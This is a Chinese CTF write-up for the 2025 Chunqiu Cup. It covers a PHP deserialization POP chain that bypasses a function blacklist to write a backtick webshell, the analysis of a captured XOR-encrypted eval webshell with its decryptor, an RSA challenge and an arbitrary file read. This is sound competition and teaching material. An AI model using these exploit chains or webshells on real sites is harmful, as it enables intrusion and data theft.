2025春秋杯DAY2DAY3部分wp

news/2025/1/19 23:22:56/文章来源:https://www.cnblogs.com/DSchenzi/p/18680493

2025春秋杯DAY2DAY3部分wp

DAY2

WEB

easy_ser

源码如下

<?php
//error_reporting(0);
function PassWAF1($data){$BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec",  "pcntl_exec", "passthru", "popen", "putenv");foreach ($BlackList as $value) {if (preg_match("/" . $value . "/im", $data)) {return true;}}return false;
}function PassWAF2($str){$output = '';$count = 0;foreach (str_split($str, 16) as $v) {$hex_string = implode(' ', str_split(bin2hex($v), 4));$ascii_string = '';foreach (str_split($v) as $c) {$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);}$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);$count += 16;}return $output;
}function PassWAF3($data){$BlackList = array("\.\.", "\/");foreach ($BlackList as $value) {if (preg_match("/" . $value . "/im", $data)) {return true;}}return false;
}function Base64Decode($s){$decodeStr = base64_decode($s);if (is_bool($decodeStr)) {echo "gg";exit(-1);}return $decodeStr;
}class STU{public $stu;public function __construct($stu){$this->stu = $stu;}public function __invoke(){echo $this->stu;}
}class SDU{public $Dazhuan;public function __wakeup(){$Dazhuan = $this->Dazhuan;$Dazhuan();}
}class CTF{public $hackman;public $filename;public function __toString(){$data = Base64Decode($this->hackman);$filename = $this->filename;if (PassWAF1($data)) {echo "so dirty";return;}if (PassWAF3($filename)) {echo "just so so?";return;}file_put_contents($filename, PassWAF2($data));echo "hack?";return "really!";}public function __destruct(){echo "bye";}
}$give = $_POST['data'];
if (isset($_POST['data'])) {unserialize($give);
} else {echo "<center>听说pop挺好玩的</center>";highlight_file(__FILE__);
}
代码审计:
先触发SDU类里的__wakeup() 发序列化自动触发wakeup,存在$Dazhuan() 可以触发STU的__invoke(),存在echo $this->stu;可以触发CTF类里的__tosting() 所以链子主思路为SDU-->STU-->CTF
对于WAF的绕过:
WAF1黑名单过滤 禁用了很多RCE关键字 但是发现没有过滤反引号
WAF3过滤了..和/防止我们目录穿越
WAF2对于原始字符组中的每个字符 $c,检查其 ASCII 值是否在可打印字符范围。如果不在这个范围,则用 . 代替
function buildChain() {
    // 创建 CTF 对象,设置 hackman 和 filename 属性
    $ctf = new CTF();
    $ctf->hackman = base64_encode("<?=`cat /f*`;");
    $ctf->filename = "1.php";
    // 创建 STU 对象,将 CTF 对象的 __toString 方法作为参数
    $stu = new STU($ctf);
    // 创建 SDU 对象,将 STU 对象作为参数
    $sdu = new SDU($stu);
    $sdu->Dazhuan=$stu;
    // 序列化 SDU 对象
    $serialized = serialize($sdu);
    // 反序列化 SDU 对象,触发 __wakeup 方法,进而调用 STU 的 __invoke 方法,最终调用 CTF 的 __toString 方法
    echo $serialized;
    unserialize($serialized);
}// 调用构建利用链的函数
buildChain();

image-20250118235432502

image-20250118235437833

image-20250118235441019

image-20250118235443398

MISC

Weevil's Whisper

image-20250119225507468

发现上传了一个shell

image-20250119225545073

<?php
$k="161ebd7d";$kh="45089b3446ee";$kf="4e0d86dbcf92";$p="lFDu8RwONqmag5ex";function x($t,$k){
$c=strlen($k);$l=strlen($t);$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}?>
k为密钥161ebd7d,通过这段代码的上半段 我们知道存在异或运算 并流量分析可以看到后面有多个HTTP 状态码为200的回复包 我们直接查看最后一看
lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92

image-20250119225942801

POC:
<?php
$key = '161ebd7d';
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = '';
    for ($i = 0; $i < $l; ) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
function decrypt($data) {
    global $key;
    $pkh = 'lFDu8RwONqmag5ex45089b3446ee';
    $kf = '4e0d86dbcf92';
    $base64_data = substr($data, strlen($pkh), -strlen($kf));    
    $decoded_data = base64_decode($base64_data);   
    $xor_decoded = x($decoded_data, $key);    
    $decompressed_data = gzuncompress($xor_decoded);    
    return $decompressed_data;
}
$encrypted_data = 'lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92';
echo decrypt($encrypted_data);#flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}

DAY3

Crypto

funny_rsa

题目源代码:
import random
import libnum
from Crypto.Util.number import bytes_to_long, long_to_bytesprint("Welcome to ChunqiuCTF Game!")
print("接下来完成下面的挑战")
print("Good luck!")# funny
hint = b' '
m = b' '
p = libnum.generate_prime(1024)
q = libnum.generate_prime(1024)
n = p * qprint("give you some funny numbers")
# funny 1
print(p+q - p*q + random.randint(-1025, +1025)) 
# funny 2
print(bytes_to_long(m)*bytes_to_long(hint))
# funny 3
print(bytes_to_long(m)*n*bytes_to_long(hint) - 1025)
# funny 4
print(pow(bytes_to_long(hint), 65537, n))Welcome to ChunqiuCTF Game!
接下来完成下面的挑战
Good luck!
give you some funny numbers
-17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374
23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011
419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024
13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479
总POC:
import gmpy2
import math
from sympy import symbols, solve, sqrt
from Crypto.Util.number import *funny1 = -17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374
funny2 = 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011
funny3 = 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024
funny4 = 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479n=(funny3+1025)//gmpy2.gcd(funny3+1025,funny2)
p_add_q=funny1+n
#根据题目给的代码p+q相差random.randint(-1025, +1025)遍历偏差值 delta 从 -1025 到 1025,对每个偏差值尝试计算新的 p + q,验证是不是等于n
p = 146244963903123897384722629319865983862385290427491632619680838698915634884136798118860944346342346684665267628932533730684360351083477628483048417394493368921029652616722076101582581881994784549216229374327065827698990452634615021972143959360660773895031574424678151072027651307994605157369826310532546455301
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(65537,phi)
hint = pow(funny4,d,n)
print(long_to_bytes(funny2//hint))
#获取p的值
import gmpy2funny1 = -17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374
funny2 = 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011
funny3 = 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024
funny4 = 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479n = (funny3 + 1025) // gmpy2.gcd(funny3 + 1025, funny2)p_add_q = funny1 + nfor delta in range(-1025, 1026):
    # 尝试 p + q = p_add_q + delta
    candidate_p_add_q = p_add_q + delta    # 解二次方程 x^2 - (p+q) x + p * q = 0
    A = 1
    B = -candidate_p_add_q
    C = n    discriminant = B ** 2 - 4 * A * C
    if discriminant < 0:
        continue# 如果判别式为负,跳过    sqrt_discriminant = gmpy2.isqrt(discriminant)
    if sqrt_discriminant * sqrt_discriminant == discriminant:
        # 计算 p 和 q
        p = (B + sqrt_discriminant) // (2 * A)
        q = (B - sqrt_discriminant) // (2 * A)        # 确保 p 是较小的质数,q 是较大的质数
        p, q = min(p, q), max(p, q)        # 检查是否满足 p * q = n
        if p * q == n:
            print(f"找到正确的 p 和 q!")
            print(f"p: {p}")
            print(f"q: {q}")
            break

image-20250119231528532

image-20250119231540067

WEB

easy_php

下载www.zip直接获取到源代码

image-20250119231352639

在file.php文件中

<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
#ini_set('open_basedir','/var/www/html/phar2');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
    $show->source = $file;
    $show->_show();
} else if (!empty($file)){
    die('file doesn\'t exists.');
}
?>

在file.php文件中可以看到读取file,我们尝试直接去读取flag,直接非预期解

image-20250119231506448

flag{a16dcb7549915546893a27a6d7927615}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/871913.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SIP MESSAGE消息中的Content-Type

The Content-Type header field indicates the media type of the message-body sent to the recipient. SIP消息中<Content-Type> 消息头表示发送的消息体的媒体类型。如果消息体不为空,则必须存在 Content-Type 消息头。如果消息体为空且 Content-Type 消息头存在,则…

Hugging Face功能介绍,及在线体验当前顶级文生图模型Flux

Hugging Face简介 对于非机器学习或深度学习领域的人士来说,Hugging Face这个名字可能并不耳熟。然而,随着近年来大规模模型的迅速崛起,相信大家或多或少都有所接触。如果你对这一领域感兴趣,并在GitHub上查阅过一些开源资料,那么你一定会频繁地看到Hugging Face的身影。例…

[JavaScript] 深入理解流程控制结构

在编程中,流程控制是指控制代码执行顺序的机制。通过流程控制结构,我们可以根据不同的条件执行不同的代码块,实现逻辑判断、循环遍历和跳出循环等功能。常见的流程控制语句有:if-else、switch-case、for、while,以及控制语句break和continue。本文将详细讲解这些控制结构的…

ELF2开发板(rk3588飞凌)

ELF2开发板(飞凌嵌入式) 开箱包裹内容打开包装,你可以看到以下物品一个绿联的usb3.0读卡器、sandisk的32g内存卡(太好了) rk3588 4g+32g emmc版本ELF2开发板 输出为12v 3A的电源适配器(和ipad的充电器外观好像)图1 外包装盒图2 开箱物品内容图3 ELF2开发板正面图4 ELF2开发…

抗沙箱方式列举

前言 研究过免杀的朋友们一定会碰到过自己的🐎今天还能用,明天就被秒的情况。这种情况大多数是被上传到沙箱然后被沙箱检测和分析发现是🐎,进而记录特征让咱们花好几天写的🐎直接废了。为了提高🐎的存活周期,咱们就需要抗沙箱这门技术。 未加抗沙箱 首先,作为演示我…

K-D树及其应用

K-D树及其应用 简介 在单个维度的范围搜索场景下,如:搜索创建时间最靠近某个日期的商品信息。可以通过遍历所有的商品信息,计算每个商品的创建日期的差值,得到差值最小的商品即可,这样每次查询的时间复杂度为 \(O(n)\);或者通过构造一个 BST,通过日期进行比较查询,这样…

基础动态规划讲解

(标题就叫这个吧,我也没什么主意了) 动态规划,要给这个这个东西下个定义,确实不太好下,他是一种基于状态来思考问题的算法思想 用来表示状态的话,那就是dp,(这么说好抽象),就直接说涉及动态规划的题目怎么处理吧 ,这个还是有步骤可行的,就按如下步骤操作 1.寻找子…

遗传算法个人入门笔记

先举一个简单的求解例子: 变量x,y 函数f(x,y) = (x-5)^2 + (y+3)^2 - 5 求最小值。 def test(x,y):return (x - 5)**2 + (y - 3)**2 - 5显然,这个函数在x=5,y=3时取最小值-5。现在我们尝试用遗传算法解决之。 遗传算法主要是模拟生物进化的过程,将每一个值视作一个生物,有…

excel快速定位到某一行

左上角输入框输入:A100定位到第100行

2024秋季学期 电子技术基础期末复习笔记

这期末也太难了吧,15*2,俩超级难的电路,直接给我算麻了电路分析模拟电路

【牛客训练记录】牛客周赛 Round 77

训练情况赛后反思 打一半吃饭去了,C题看到 ax+by=k 的问题,简单的扩欧exgcd没反应过来,简单数论还是不熟悉TAT,D题DSU计算联通块大小时 \(i\) 打成 \(a_i\) 疯狂 RE 被硬控了十几分钟 A题 输出题目所述的第几个字符串即可 #include <bits/stdc++.h> // #define int l…

LIS于LCS

LIS与LCS是动态规划中最常见的两种情况,LIS也就是最长上升子序列,而LCS是最长公共子序列。 在解决这个问题之前,先要明白为什么是序列,举个例子来说明,在数组 [1,2,3,4,5,6]中,[2,3,5]就是其子序列,也就是说,子序列其实就是数组中存在先后顺序,但不强调连续的子数组。…